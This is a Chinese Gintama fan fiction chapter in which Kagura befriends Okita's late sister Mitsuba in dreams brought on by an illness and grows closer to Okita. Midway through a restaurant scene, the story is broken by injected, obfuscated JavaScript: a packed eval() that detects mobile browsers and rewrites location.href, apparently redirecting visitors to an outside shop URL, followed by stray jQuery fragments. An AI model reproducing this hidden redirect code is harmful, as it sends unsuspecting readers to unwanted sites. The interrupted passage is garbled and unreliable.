1. 梦
作品:《冲神》 那个人。
熟悉的亚麻色发丝随风飘动,似曾相识的苏芳色眼睛闪闪发亮。
但她的脸上却洋溢着陌生的温和微笑。
好漂亮…
面对目不转睛的少女,那个人缓缓开口。
“初次见面。”
*蝴蝶之梦*
那人身穿嫩草色的和服,伫立在河滩上。
这里是定春散步常去的地方,但今天没带它出来。手里握着刚从糖果店买来的醋海带,正四处寻找休息的地方。接着在视线的边缘发现了熟悉的亚麻色,下意识地追了上去,却不是想象中的那个人。
震动耳膜的声音很柔软。
虽然除了自己和那个人之外没有其他人影,但花了一点时间才明白那是针对自己的。
“……初次见面。”
终于说出口的话变成了只言片语,神乐发现自己好像有点紧张。是因为突然被一个漂亮的女人搭话了吗?还是因为无论如何都会想起的某个青年的脸呢?
那个人背对着倒映在水面上的亮光,伫立在那里,仿佛不经意间就会被那亮光攫去消失一般。
“你就是小China?”
“什么?”听到这个熟悉的称号从女人嘴里说出来,神乐不禁惊呼出声。
“你认识我吗?”
“嗯,是小总告诉我的。”
“小总?”
看着头上浮现出问号的神乐,那个人轻轻低下了头。
“自我介绍晚了,我叫冲田三叶。小总……冲田总悟是我弟弟。”
弟弟?也就是说,这个人…
“抖S…的姐姐阿鲁?”
“是的。”
那个人——冲田三叶发出了开心的咯咯声。
“小总一直受您照顾了。”她朝神乐露出了美丽的笑容。
*
“……你在干什么?”
对上视线的是两只惊讶的眼睛。
深红色的眼睛,时而如火焰般摇曳,神乐并不讨厌。
平常的公园里,在已经变成指定席的长椅上,身穿制服的冲田把头靠在椅背上睡着了,依然戴着他那副奇怪的眼罩。神乐正蹲在离长椅不远的地方,距离近得伸手就能够到冲田的脚,她就这么盯着看了一会儿冲田的样子。早已醒来的冲田对神乐不但没有袭击,甚至连话都没有说的行为感到可疑,便把眼罩推了上去,露出下面的眼睛。
“别那么热切地盯着我,会盯出洞的。”
“不用担心,只要你愿意,我马上就把你打成马蜂窝。”
冲田想用刀鞘戳她的头,神乐赶紧站了起来,就这样向前迈了一步,把脸凑近了一点,冲田睁大了眼睛向后仰去。
“什么呀,你从刚才就在干什么?”
“你……”她看了一眼头上戴着眼罩、诧异地瞪着自己的青年,“嗯”了一声,点了点头。接着站起身,在冲田身旁隔开一段距离坐下,冲田保持仰面朝天的姿势,只用视线追随着神乐。
“外表一模一样,内在却一点都不像的阿鲁。”
“啊?到底在说什么?”
闪闪发光。
阳光透过树影,冲田的头发闪耀着金色的光泽。
摸起来应该会很舒服,但放在长椅上的手却一动也不动。
“前几天,我见到你的姐姐了。”
脑海中浮现出的,是几天前遇到的、和旁边这个青年很像的女性。她的笑容温和又温柔,完全看不出她和一见面就会恶语相加的冲田是姐弟。
“喂,小总这么可爱的称呼也太不适合你了。”神乐扑哧一声笑了起来。
他会不会因为害羞而脸红呢?这么想着,把视线投向他,却发现他面无表情,比平时更加无法读懂感情。
(啊、哎……?)
只是,苏芳色似乎有些动摇,面对这幅景象,神乐反而动摇了。
冲田瞥了神乐一眼。
“痛!”慢了一拍,冲田的手刀直接打中了神乐的脑袋。
她泪眼汪汪地想要抬起头来,却被按住脑袋的手挡了回去。
“你突然喊‘小总’,我都要起鸡皮疙瘩了。”
“又不是我叫你的阿鲁!你干嘛敲淑女的脑袋!”
“你知道淑女是什么意思吗?所谓淑女,指的是像姐姐那样的人。”
“你…难道是姐控?程度超过新八的姐控?”
“烦死了。不过,我不否认。”
好不容易解放了脑袋,神乐狠狠瞪了他一眼,冲田微微扬起嘴角。
这是对冲田来说天真无邪的笑容,神乐感到心神不宁,一边揉着头,一边移开视线。
——对小总来说,我就像父母一样。
——不知不觉就把他惯坏了。
说这话的三叶的表情,表明她打心底里爱着她的弟弟冲田。
类似的东西,也存在于神乐的幼年记忆中。
“嗯……你会变成姐控也不是不能理解,我也很喜欢妈咪。”
她想起了躺在病床上,对自己倾注无限爱意的母亲。年幼的神乐也一直在母亲身边守护着她,回应着她。
对冲田来说,三叶一定也和这一样吧。
(……这家伙在这方面居然像个正常人。)
嘴角不自觉扬起了弧线,冲田掐住神乐的脸:“你笑什么?”
*
在那之后,又在镇上遇到过好几次三叶。
有时是初次见面的河滩,有时是经常去买醋海带的点心店,有时是万事屋附近的团子店。
至于今天…
“好可爱……”
人来人往的商店街,神乐被一家商店的橱窗吸引住,与映在橱窗玻璃上的三叶四目相对。
“姐姐!”
猛地回过头,扑了过去,三叶轻轻张开双臂,接住了她,然后视线转向神乐看的橱窗,“啊”了一声。
“神乐,你在看那个布偶吗?”
那里有一只白兔玩偶。
红红的眼睛很可爱,但价钱却不可爱。
“是的!我想要…但是我没钱买。”
“啊,真可惜。”
三叶为难地垂下眉毛,视线又回到神乐身上。
“本来想给你买的,不巧我手头也没有多少钱……对不起。”
“没关系的!我会努力攒零花钱的!”
神乐咧嘴一笑,三叶也跟着浮现出笑容,摸了摸神乐的头。
以阿妙为首,神乐身边有很多比自己年长的女性,但三叶的气质和所有人都不一样。大和抚子这个词,一定就是为这个人而存在的吧。
神乐就这样被三叶邀请一起逛商店街,和阿妙出去购物的时候经常会来这条商业街,所以也用同样的方式带她到处逛。三叶微笑着跟在后面,不时高兴地叫出声来。
“啊……”
身后突然传来了三叶的声音,回头一看,她正站在店门口看里面的什么东西。往回几步一起看了看,里面有一袋似曾相识的红色点心,在哪里见过它呢?正在思考的时候,三叶纤细的手指把它拿了起来。
“这是我最喜欢的点心,超辣仙贝。”
她问可不可以买回来,神乐点点头说当然可以,三叶又拿了一袋去结账。回来的她把其中一袋递给神乐,微笑着说: “一起吃吧”。
打开袋子取出红彤彤的仙贝时,神乐想起来了。
“啊,这是小银以前吃过的那个!一边说辣辣辣,一边吃个不停,我还以为小银终于变成抖m了呢。”
“呵呵,阿银也喜欢吗?”
“姐姐,你和小银也是好朋友吗?”
“以前受了很多照顾。”
竟然一个人接受这么漂亮的人的委托。
小银真狡猾,一边想着,一边咬了一口手里的仙贝,下一瞬间就被呛到了。“咳咳咳”,被三叶轻轻抚摸着后背。
“啊,这是什么啊,太辣了吧……”
“不好吃吗?”
三叶面不改色地咀嚼着仙贝,简直不像是在吃同样的东西,神乐来回看了看三叶和手里的仙贝,嘴里还残留着一丝刺激,勾起了一段不堪回首的记忆。
“以前也发生过类似的事……被抖s强迫吃了加了塔巴斯科的蛋糕阿鲁。”
“哎呀,塔巴斯科可真好吃啊。”
“对姐姐来说可能是奖励,但抖s那家伙绝对是讨厌鬼,他总是找我麻烦。”
把对冲田的抱怨一股脑儿地说了出来,三叶吃惊地瞪大了眼睛。看到这样的情景,她担心自己是不是在姐姐面前说了太多坏话。
“但是,嗯,他也有不讨厌的地方。他很强,能和身为夜兔的我对抗,虽然扭曲,但我知道他有坚定的信念……”立刻脱口而出,但是没有说谎。
虽然有很多令人生气的事情,但是和冲田战斗很有趣,为了真选组、为了保护什么而挥刀的样子也让人尊敬。
她羞愧得声音越来越小,但三叶似乎听得清清楚楚。她好像觉得好笑似的轻声笑了起来,喃喃自语道: 你们俩都不老实啊。神乐歪着头,三叶抚摸着她的头说,没什么。
“对了,神乐,那个兔子玩偶,让小总给你买吧。”
“什么?”
“那孩子虽然不老实,但一定会买的。”
“不不不,这是不可能的。”
神乐本想继续说那家伙没有给她买过什么东西,却沉默了。
并不是没有。
甚至可以说最近很常见。
和冲田以吵架为名的破坏活动仍在继续,但自从和三叶见面后,吵架后的对话就比较温和了。大体都是神乐在说和三叶见面说了什么、到哪里去了等等,冲田偶尔会随声附和。之后会在附近的自动售货机给她买果汁,有时在糖果店给她买点心。
——我觉得偶尔给她喂食也不错。
一开始还有些警惕,以为他有什么企图,可是冲田看到神乐就咯咯地笑着说出这样的话,神乐没办法也只好收下了。
“今后也要和小总好好相处哦。”
不知道是否了解了神乐内心的想法,三叶温柔的声音落了下来。
“……既然是姐姐的请求,那就没办法了。”
神乐感到胸口一阵发痒,紧紧握住了雨伞。
*
一觉醒来,发现自己正躺在万事屋的沙发上。
抬头一看,银时还是一副闲得无聊的样子,正把脚放在董事长桌上休息着。看样子不知不觉睡了个午觉,透过窗户看到的天空渐渐染上了橙色。
“哦,起床了吗?神乐。”
她坐起身,揉着眼睛,银时注意到了,对她说。神乐敷衍地应了一声,迷迷糊糊地望着眼前的桌子,突然想起了应该放在那里的东西。
“小银,昨天我放在这里的点心哪儿去了?”
“点心啊?”
“是啊,三叶姐姐给的超辣仙贝。”
银时抬起头,瞥了一眼桌子,又把视线落回手上。
“啊……不好意思,我吃掉了。”
“什么?小银你为什么喜欢吃超辣仙贝啊!你不是甜食党吗?那里写的糖分只是装饰而已吗?”
“阿银除了甜食也会吃其他东西,这种仙贝也是癖好之一。”
“哎,本来还想让抖s吃呢,我还想嘲笑他那被辣得直打哆嗦的样子呢。”
“神乐,你仔细想想,那家伙是在那么爱吃辣的姐姐身边长大的,对辣的东西肯定有抗性。”
神乐“嗯”了一声。“怎么,这种东西都吃不下,真是可怜啊”,想象着冲田那张可恨的笑脸,感觉内心越来越焦躁。
“不过,要是带过去的话,多少会高兴一些吧。新八马上就买完东西回来了,晚饭前记得回来。”
“好好好。”
虽然已是黄昏时分,但还有阳光,神乐抓起番伞,冲了出去。
今天还能见到三叶姐姐吗?她一边转动着番伞,一边迈着轻快的步伐前进。回过神来,发现自己已经来到昨天刚去过的商店街,于是向橱窗走去,里面仍然装饰着最近最喜欢的兔子玩偶。确认了一下还是和昨天一样坐在那里,没有被别人买才放心。
在夕阳下闪闪发光的红眼睛,和最近经常看到的红眼睛重叠在一起。
三叶眼睛的颜色。
那家伙的颜色。
想到这里,神乐轻轻摇了摇头。
“不,不可能。”
因为它的眼睛和冲田的颜色一样什么的。
有很多红眼睛的兔子,她对自己说,这没有意义。但一旦苏芳色的眼睛闪过脑海,就怎么也消失不了。
——最近的状态怎么都不正常。
那双只会让人生气的眼睛里闪现出以前从未见过的颜色,不知道是在遇到三叶之前还是之后。说起姐姐时那相对平静的眼神,偶尔会转向神乐。不知为何,总感觉心里痒痒的,很不舒服。
(为什么要为那家伙的事心烦意乱呢?)
她又摇摇头,仿佛要甩掉思绪,发出“啊”的一声呻吟。
“形迹可疑的China。”
熟悉的声音从身后传来,神乐的肩膀猛地一抖。抬头一看,刚才还在脑海中的眼睛映在橱窗里。神乐想起昨天隔着玻璃也看到了同样的眼神,移开了视线。
“有什么事吗?”
“没有,只是有个可疑人物趴在橱窗上大喊大叫,作为警察总不能置之不理吧?”
“谁是可疑的人啊!平时偷懒的笨蛋,只有这种时候才去巡逻!”
“啊,听不见啊。喂,你……”
冲田猛地一推伞,往橱窗里张望,神乐猛地拉开一步。他似乎认出了神乐在看的是布偶,笑嘻嘻地扭头看她。
“原来你在看布偶啊,果然还是个孩子。”
“闭嘴,烦死了!你不也还是孩子吗?”
即使面对神乐的狂吠,冲田也毫不在意。被当成小孩子对待,神乐有些焦躁,狠狠地瞪着冲田。
——那个兔子玩偶,让阿总给你买吧。
不,还是不行啊,姐姐。
“没事我就回去了,晚饭还在等着我呢。”
说着刚要转身,打开的番伞前端被人抓住了,神乐突然被向后一拽,重重地踏在地上。不高兴地回头问:“你干什么?”
柔软的东西扑面而来。
神乐条件反射般地拿起来看了看,坐在玻璃后面的兔子正回望着神乐的脸。
“为什么…这个?”
“你想要吧?”
是啊,但是想问的不是这个。
她仰视着冲田,眼神仿佛在询问,冲田却移开了视线。
“被一个中国女天天盯着橱窗看,店里的人肯定会觉得不舒服吧。我拿着也没用,你就乖乖收下吧。”
“你怎么知道每天都这样?跟踪狂吗?”
“你要知道自己的红色衣服很显眼。”
冲田在场时,神乐没法表现出自己的高兴,只有拼命抑制住嘴角的上扬,抿紧了嘴唇。但最后还是忍不住,小心翼翼地抱住兔子,把脸埋了进去。一边享受着软绵绵的触感,一边想象着冲田买这只兔子的情景,露出了笑容。
“... ... 没办法,只好收下了。”
“不可爱的家伙。”
和他说的话相反,明明听到了他在笑,抬头一看,眯起的红眼睛正看着她。
心脏扑通一声跳了起来。
“在这里等我一下!”
为了蒙混过去,神乐猛地抬起头,丢下这句话,从冲田身边跑了过去。
她没有回头看恐怕还在发愣的冲田,一发现要找的东西就抓住,用仅有的零用钱结账。然后快步跑回冲田身边,用力把它压在冲田胸前。
“我不想欠你钱,所以…”
红色袋子的超辣仙贝。
确认冲田拿在手上后,神乐往后退了一步。
“你应该很喜欢那个吧。对我来说太辣了,吃不下去。”
看不到冲田的脸,瞪着地面说道。原以为又会被嘲笑还是孩子,但冲田只是“哦”了一声,袋子在他手中沙沙作响。
“不也拿去姐姐那里吗?”
“三叶姐姐昨天就吃了。”
“……是吗?”
——啊,来了。
这么想着,从番伞下看了看冲田的表情,果然还是那个表情。
虽然知道那平静的、包含着爱的表情是对三叶的,但内心深处还是波涛汹涌。
神乐紧紧抱住兔子的手臂。
脸颊微微泛红,是夕阳的缘故吗?
*
多日未见的太阳在天空中高高升起,但持续了一段时间的雨却在各处留下了痕迹。
神乐轻轻跳过映照着蓝天的水潭,一边哼着歌摇着雨伞。虽然离不开伞,但还是喜欢太阳出来的晴天。
“啊,中国小姐。”
正望着那朵似乎是在雨的恩惠下绽放的花,忽然听见有人的呼唤,抬起头来。不当班的山崎正罕见地穿着裙裤站在那里。
“吉米!好久不见阿鲁。你看起来还是那么朴素,真是太好了。”
“不,什么叫很朴素……这一个半月来一直在监视,现在总算能喘口气了。”
听她这么一说,山崎苦笑的脸上似乎渗出了疲惫。吉米也很辛苦,她一边嘟囔着,一边把视线转回看着的花上。
“喂喂,这花叫什么名字?”
被许多叶片包围着绽放的可爱的白花。
山崎在旁边看了看。
“啊,这是白曲草。”
“白曲草……”
为了记住这个名字,她在嘴里重复了几遍。
如果拿去给三叶姐姐,她会高兴吗?
距离最后一次见到三叶已经过了十天,以前每星期都至少能见到她一次,所以今天是为了寻找三叶才到外面来的。
“三叶姐姐,会喜欢这种花吗?”
“咦?三叶姐姐……莫非是冲田队长的姐姐?”
“是啊。”
“啊,中国小姐竟然认识三叶大人。”
山崎一脸意外的感慨,神乐想问他是否知道三叶在哪里。
“把它供奉在墓前,她一定会很高兴的。”
正要伸向白曲草的手停住了,山崎好像没有注意到身旁的神乐僵硬了。
“冲田队长在三叶大人去世后好像会定期去扫墓,最近应该还会去,让他带你去怎么样?”
(坟墓……你在说什么啊?)
如果是三叶的话,前不久不是还见过吗?
山崎露出和蔼的笑容继续说着话,神乐睁大眼睛抬起头,一把抓住他的手臂。
“你说她去世了阿鲁……这是什么时候的事?”
“咦,已经半年了吧,肺病恶化了……那个,中国先生不知道吗?”
咣当一声。
像被钝器击打的冲击袭击了神乐。
半年前?肺部疾病?
脑海里只有单词在不停地循环。
第一次见到三叶是一个月前的事,从那以后到现在,明明和她见过很多次面,交谈过,接触过。
那三叶究竟是什么?
(幽灵……?但是,小银也好抖s也好……)
只要神乐提起三叶,他们会理所当然地回应。
“中国小姐?没事吧?”
远处传来山崎担心地在神乐面前挥手的声音,映在视野里的白曲草软软地扭曲着,神乐感到喉咙里涌起一股东西,急忙用双手捂住了嘴。
“神乐……”
仿佛被往后拉一般,在渐渐远去的意识中,传来了银时焦急的声音。
——神乐。
亚麻色的头发随风飘扬。
——对不起。
苏芳色的温柔眯起的眼睛。
——还会来见我吗?这次和小总一起,好吗?
伸手去触碰那个身影。
(等等,三叶姐姐……)
可是,在她的手还没够到之前,三叶就在光芒下散开,消失了。
“啊……”
睁开眼睛,看到了熟悉的天花板。
喘着粗气坐起来,才发现额头上冷汗涔涔。就在她擦拭的同时,拉门被拉开了。
“神乐,你醒了吗?”
“小银……”
神乐被安置在银时平时起居的房间里,厨房那边传来一定节奏的菜刀声,新八应该也在。银时盘腿坐在被子旁边,冷静下来了吗?他担心地问道。神乐回想起倒在地上之前的情景,紧握着被子。
“小银……三叶姐姐呢?”
声音比想象中沙哑,她依依不舍地看向银时,银时罕见地露出认真的表情,过了一会儿,他挠了挠头,露出温柔的笑容。
“放心吧,神乐。我会把一切都告诉你的,好吗?”
深呼吸一下。
平静的声音告诉她,一切都是一场梦。
*
事情的开始,是神乐在委托回来的路上病倒了。
因为是阴天,又打着番伞,所以并没有被强烈的阳光照射,也没有身体不舒服的样子。神乐毫无征兆地突然倒下,银时和新八吓了一跳,他们认为离医院比回万事屋更近,便直接去了医院。
检查了一遍,被告知没有什么异常。
银时皱着眉头问: “既然如此,为什么会倒下?”医生继续说,有一件事想确认一下。
“这几天,有没有发现这位患者有什么奇怪的言行?”
“奇怪的言行?”
“嗯,比方说,明明一直在家睡觉,却好像出去了似的。”
坐在床边椅子上的新八突然抬起头。
医生的话让他有了头绪。
几天前,神乐在万事屋的沙发上睡着了,吃完晚饭说今天去了澄夜那里,那天明明没看见神乐外出,也没怎么在意她是不是睡糊涂了。
“好像是最近从宇宙传来的疾病,我接诊了好几个有同样症状的患者,他们的症状就是分不清梦境和现实。”据说他们会把睡觉时梦到的事情当成现实,目前病例很少,原因和治疗方法都不清楚。不过,听说一个月后就会自然痊愈。“睡的次数会多一些,也有报告说会突然睡着,这次突然晕倒大概也是这个原因吧。”
看了看神乐,确实没有不舒服的样子,睡得很安稳。看到她熟睡的样子,银时就放心了,轻轻地抚摸她的头。
“就这样带她回家也没关系,只是有可能会引起恐慌,所以如果没有什么特别的事情,就不要告诉她了,要好好配合她说话。”
医生说完就走出了房间,银时露出了苦笑。
把神乐带回万事屋后不久,她就醒了。像什么事都没发生过似的嚷嚷着肚子饿了,银时给她吃了三合白饭,向登势和真选组等神乐经常见到的人说明了神乐的病情,请求他们帮忙。
接下来的一段时间里,除了神乐偶尔会说几句她误以为是现实的梦之外,什么都没有发生。
大约半个月后,银时意想不到的名字从神乐嘴中脱口而出。
和神乐两个人出去买东西回来,刚好在路边碰到了土方和冲田。
“哦—哦—在干活吗?税金小偷。”
“吵死了!我比你们这些一年到头都关门歇业的家伙工作得多。”
和往常一样一见面就对土方开着玩笑,旁边的神乐双手拿着超市的购物袋,和冲田踢来踢去。“对了!”她抬头看着土方。
“听说十四以前是长头发的!像假发那样吗?完全想象不出来。”
“啊?你怎么会知道?”
“三叶姐姐告诉我的!”
“啪”的一声,土方嘴里的香烟掉了下来。他的眼睛睁得大大的,说不出话来。
银时也一样,如同破碎的机关一般俯视着神乐。她完全没有注意到凝固的两人,天真无邪地笑着继续说着话。在这期间不断出现的三叶姐姐这个词,表明刚才的话没有听错。
这时,冲田开口了。
“土方的长发啊,每次我把发绳藏起来,他就不能扎头发,会变成贞子那样,真是一幅杰作。”
“啊!?我说怎么买了又没有了,原来是你干的!你……”
土方条件反射般地吐槽,却被冲田锐利的目光止住了。别再说了,好像是这个意思。
银时心想神乐应该知道些什么,便对神乐说。
“啊,神乐,我想起来跟多串君有点事,不好意思,你先回去和定春吃饭好吗?”
“这么长时间的谈话有什么用?让定春饿着肚子也太可怜了,没办法阿鲁,再不快点回来,我就把阿银的那份也吃了!”
神乐抢过银时手里的超市袋子,跑了出去。完全看不见她的身影后,银时转向冲田。冲田什么也没说,似乎已经猜到了银时的意思,他转过身去,说: “进去吧。”
“到底是怎么回事?中国姑娘怎么会说出那家伙的名字?”
吐出一口紫烟,土方低声问道。
晚饭时间还早,在人不多的家庭餐厅里,坐在银时对面的冲田一边用手指擦拭玻璃杯里的水珠,一边回答。
“嗯,和你们想象的一样。”
看来那家伙是在梦中见到了姐姐。
亲切地叫着三叶姐姐,应该不止一两次了吧。
“什么时候开始的?”
“大概是一个星期前吧。一开始提到姐姐的名字时,我真的很惊讶。”
据说从那以后,神乐每次和冲田见面都会谈到三叶的事。
银时嗯了一声,按住眉间。看来事态正在朝着比想象中更麻烦的方向发展。
三叶去世才半年。
失去了重要的人,这种创伤还没有完全愈合吧。冲田也好,土方也好。
(那么,怎么说呢……)
该不该跟神乐好好谈谈呢?
冲田仿佛看穿了他的心思,开口说道。
“老板,没必要告诉他真相。”
“……不过,你没事吧,冲田君?”
他看着冲田那双红色的眼睛,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012489|148600||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
似乎在辨别他的真实意图,但他还是一如既往地面无表情。
“听医生说再过半个月就能恢复正常了。既然如此,也没必要在这里扰乱她,况且我也没有什么问题,而且……”
冲田手边的玻璃杯里,冰块发出咔嗒咔嗒的声音。冲田的视线落在那里,嘴角突然放松下来。
“从她那里听说姐姐的事,也不错啊。”
只有和这个年轻人有相当的交情,才能看出这种微小的变化。
(这家伙还能做出这种表情……)
银时笑着说,好像比想象的还好。土方也斜眼瞟了冲田一眼,嘴角上扬。
望向窗外,倾斜的太阳把匆匆赶回家的人照得通红。再不回去的话,晚饭就要被神乐抢走了。
*
巡逻回来后,冲田走进自己的房间,把刀和上衣乱扔一气,穿着队服躺在榻榻米上。空气中弥漫着微弱的血腥味,心里想着要是先去洗澡就好了,但已经虚脱的身体却纹丝不动。
巡逻中,冲田甩掉搭档准备进入逃课路线,走进小巷时却被几个浪人包围。可能是一直埋伏在那,但几分钟后就被冲田的刀砍成了肉块。他联系了土方,把善后工作抛在脑后,放弃了中途的巡逻,直接回到了屯所。
翻了个身,放在衣柜上的姐姐的照片映入眼帘。
看到现在浑身是血躺在地上的冲田,姐姐会不会训斥他要振作点呢?还是会摸摸他的头说“辛苦了”呢?
之所以会有这样的想法,大概是因为这一个月来一直听穿着红色旗袍的少女说姐姐还活着。
经由土方得知神乐生病的消息时,他说有时会突然睡着,希望自己看到她能留意一下,没办法,只好在巡视的时候寻找红色的旗袍和紫藤色的番伞。
当从她的嘴中听到姐姐的名字时,还以为这是对自己一直砍人、浴血奋战的惩罚。已经不在人世的姐姐的幻影,偏偏是这个少女编织出来的,饶了我吧,内心发出了悲鸣。
但是,在和神乐聊了几次之后,他发现似乎并非如此。
三叶出现在神乐的梦中,让自己与神乐安稳相处的时间增加了,她脸上露出了以前很少看到的笑容。
——话虽如此,还是觉得很恶心。
土方和银时得知神乐知道三叶存在的那一天。
在回屯所的路上,土方一边抽烟一边这么说。
“我头发的事也一样……不过是梦而已。但你明明知道‘事实’,万事屋是不会把那家伙的事告诉中国姑娘的吧?”
只是一个梦,说出来就是这样吧。
但是冲田有一点很肯定。
“我想,那家伙在梦中见到的姐姐……应该是真的。”
“啊?怎么回事?”
土方讶异地看着这边。
透过神乐看到的姐姐的身影。
那不是被派来惩罚冲田的。
“是来见China的吧?”
和神乐在河滩上聊天,一起吃团子,一起去买东西。只要闭上眼睛,就能看到眼前真心开心笑着的姐姐。
“一定是因为我在姐姐的墓前说了很多关于那家伙的事……姐姐很在意,所以才来找她的。”
——小总,你有喜欢的人吗?
小时候,姐姐曾经问过我。当时别说喜欢的女孩子了,连朋友都没有,我摇了摇头。
——那么,小总如果有了喜欢的女孩,一定要先告诉姐姐。
虽然这个约定在姐姐活着的时候没能实现。
“……是吗?三叶真是过度保护啊。”
旁边这个烟雾缭绕的男人,也在脑海中描绘着姐姐的模样吗?锐利而细长的眼睛中流露出一丝哀伤,凝视着远方。
“好不容易有那家伙来支持你……你好好抓住她吧。”
那个祈求姐姐幸福,却把她推开的男人。
那个男人,在失去了姐姐之后,还在思念着她吧。
“……那是当然。”
虽然他仍然是个令人讨厌的男人。
至少现在,冲田想,还是原谅他吧。
不知什么时候睡着了,听到一阵急促的脚步声,他睁开了眼睛。
坐起身,伸手去拿放着的刀。
恐怕不是队士,他拿起收在刀鞘里的刀,目不转睛地盯着脚步声逼近的纸拉门。
“啪”的一声,纸拉门猛地被打开,正准备砍下来的冲田看到了什么。
“China?”
那双几乎要溢出眼泪的蓝色大眼睛,熟悉的大红色旗袍。
冲田放松了下来,呼唤道,她那彷徨的视线似乎捕捉到了什么。
滴落的水珠在榻榻米上留下了斑斑点点的污渍。
*
脑袋昏昏沉沉的,银时的声音、新八的声音,还有眼前的饭菜都淡出了意识。
银时说的话令人难以置信。就在她无法理解的时候,传来了新八的声音:“吃饭吧。”
“我知道你现在还不能接受,总之先吃点最喜欢的饭平复心情吧。”
新八拉着她的手,在客厅的沙发上坐了下来,可是她的脚却被一种轻飘飘的感觉绊住了。病发已经过去一个月了,现在看到的景象应该是现实,但这也可能是梦的想法却在脑海中挥之不去。
从哪里开始是梦?从哪里开始才是现实?
追溯一个月的记忆,连界线都很模糊。
但有一点我很清楚。
——三叶姐姐不在了。
明明记忆还是新鲜的,清晰地留在脑海里。
温柔的声音,抚摸头的手的触感,像花一样的香味,明明都记得。
三叶早就不在人世了。
“神乐……”
可以感觉到银时他们担心的视线,神乐无法忍受这样的注视,低声说了句“对不起”,便站了起来。她摇摇晃晃地走向床边,打开壁橱,想待在里面直到整理好思绪为止,一个白色的玩偶正坐在那里。
“这个……”
红眼睛的,兔子玩偶。
小心翼翼地拿在手上,确实能感受到柔软的触感。冲田给的这个玩偶,现在就在这里。
(那不是梦)
脑海中掠过的是谈论三叶时冲田的表情。
“啊……”
下一瞬间,神乐从玄关冲了出去。
“神乐!”
身后传来银时的叫唤声,但她不为所动地跑着。神乐紧紧咬住嘴唇,胸口像被揪住一样难受。
——这一个月来,冲田到底是怀着怎样的心情听她说话的呢?
越是看到冲田,越能体会到他仰慕姐姐的心意。这么重要的人,却再也无法触及,如果一个月都听她说见过面的话。
(妈咪的故事,如果被那样说的话……我……!)
肯定无法忍受。
穿过屯所的大门,擦肩而过的队士们惊讶地回头张望,她毫不在意地飞奔着。脱下鞋子冲进屋里,和在檐廊抽烟的土方四目相对。
“十四!”
她跑向吓得睁大眼睛的土方,抓住他的队服。
“中国姑娘,你不要随便……”
“那家伙,抖s在哪里?”
面对突然闯进屯所的行为,土方责备地开口,但是看到神乐拼命的样子,又不吭声了。他似乎察觉到了什么,叹了口气,扬起下巴指了指里面。
“对面拐角的房间。”
目送着她一听到这话就跑过去的背影。“那家伙回那个世界了吗?”他抬头望着天空,喃喃自语,言语随着烟雾飘走,没有传到神乐的耳朵里。
“China?”
推开拉门,不知为何拿着刀的冲田微微睁大眼睛,放下刀,用困惑的声音叫着她的名字,但是神乐却只能发出粗重的喘息声。
虽然是一时冲动才跑到这里,但一旦面对冲田,就不知道说什么好了。各种各样的想法在脑海中盘旋,出口却仿佛被堵住了。
无法直视冲田的眼睛,只是飘忽着移开了视线。
手里拿着的刀,被脱掉的上衣。
然后…
“……”
另一边,放在衣柜上的照片中温柔微笑着的三叶。
一直忍着的东西从眼中溢出来。
“呜……呜……”
滴滴答答地落在榻榻米上,停不下来,不想被人看到这幅样子,低下头,冲田的脚进入了视野。不知不觉间,冲田已经走到神乐面前,温柔地抓住了她的手腕。
“China,别擦得太厉害。”
“呜,我、我……”
神乐在呜咽中挤出声音。
“三叶姐姐已经不在了吗?”
“……啊,听谁说的?”
“吉米……说你去扫墓了……”
“啊……因为那家伙暂时不在屯所,所以还不知道事情的缘故。”
冲田一脸“糟糕”的表情,现在才知道自己还是让他担心了,心里更难受了。他应该关心的,至少不应该是她自己。
“虽然是梦…但我见到了姐姐是真的……你是个讨厌的家伙,但我没有想过拿死去的人来捉弄你……”
“我知道。”
“但是…结果还是伤害了你……对不起……”
我很害怕。
在自己不知情的情况下,伤害了别人。
即使那是总惹人生气的冲田。
——倒不如说,正因为是冲田。
害怕伤害了对方,被对方真的讨厌。
越是这么想,就越会意识到冲田在自己心中的地位不知不觉间变得越来越重要。
“对不起…对不起……”
面对肩膀不停颤抖、不断掉眼泪的神乐,冲田一言不发。这让神乐更加揪心,当她开口道歉时,被抓住的手腕被猛地一拽,等神乐回过神来,已经被关在了冲田的怀里。
因为突如其来的变故而僵硬得连哭都忘了,冲田的手比三叶要大,慢慢地抚摸着她的后脑勺。虽然没有花的香味,但还是被一种甜蜜的味道和温暖包围着,心跳加快的同时也感到安心。
“我倒是挺开心的。”
冲田的下巴抵在神乐头上,低声说。神乐稍微挪动一下身体,就会被紧紧地抱住。
“虽然很惊讶,但我并没有受到伤害。听你说,姐姐好像也很高兴,倒不如说我很感谢你。”
“啊、哦……”
“是啊,姐姐从以前就一直在照顾我,周围的人也都是些混蛋,所以她应该更想和女人一起逛街买东西什么的。”
冲田稍稍放松了一下手臂,看着神乐的脸。
抬起被泪水浸湿的眼睛,冲田微微扬起嘴角眯起眼睛的脸就在眼前,神乐屏住了呼吸。
“所以,别哭了。”
低沉沙哑的声音低语。
微微冰冷的嘴唇轻轻贴在眼角上。
冲田舔了舔眼泪,咕哝了一声,离开了。
“什……”
一旦明白发生了什么,神乐就觉得自己的脸热得发烫。看着睁大眼睛、嘴巴一张一合的神乐,冲田咯咯地笑了。
“煮熟了,好可爱啊,笨蛋神乐。”
“你,你,笨蛋!你在干什么?”
神乐扭动着身体想要从他的怀里逃跑,冲田一边按住她,一边喊道。
“你周末有空吗?”
“周末?没什么特别的安排。”
“那天是姐姐的忌日,我想带你去看看姐姐,得重新介绍一下。”
介绍?冲田歪着头,露出坏心眼的笑容。
“告诉她这是我最喜欢的China。”
——还会来见我吗?这次和小总一起,好吗?
神乐一边回想着最后听到的三叶的声音,一边把脸贴在冲田的胸前,以掩饰自己再次涨红的脸。
冲田的心跳越来越快了。
“是姐姐拜托的,我和你一起去,而且我也得打个招呼。”
抬头一看,在几乎能接触到的距离里,有一张像三叶一样稚气未消的脸。
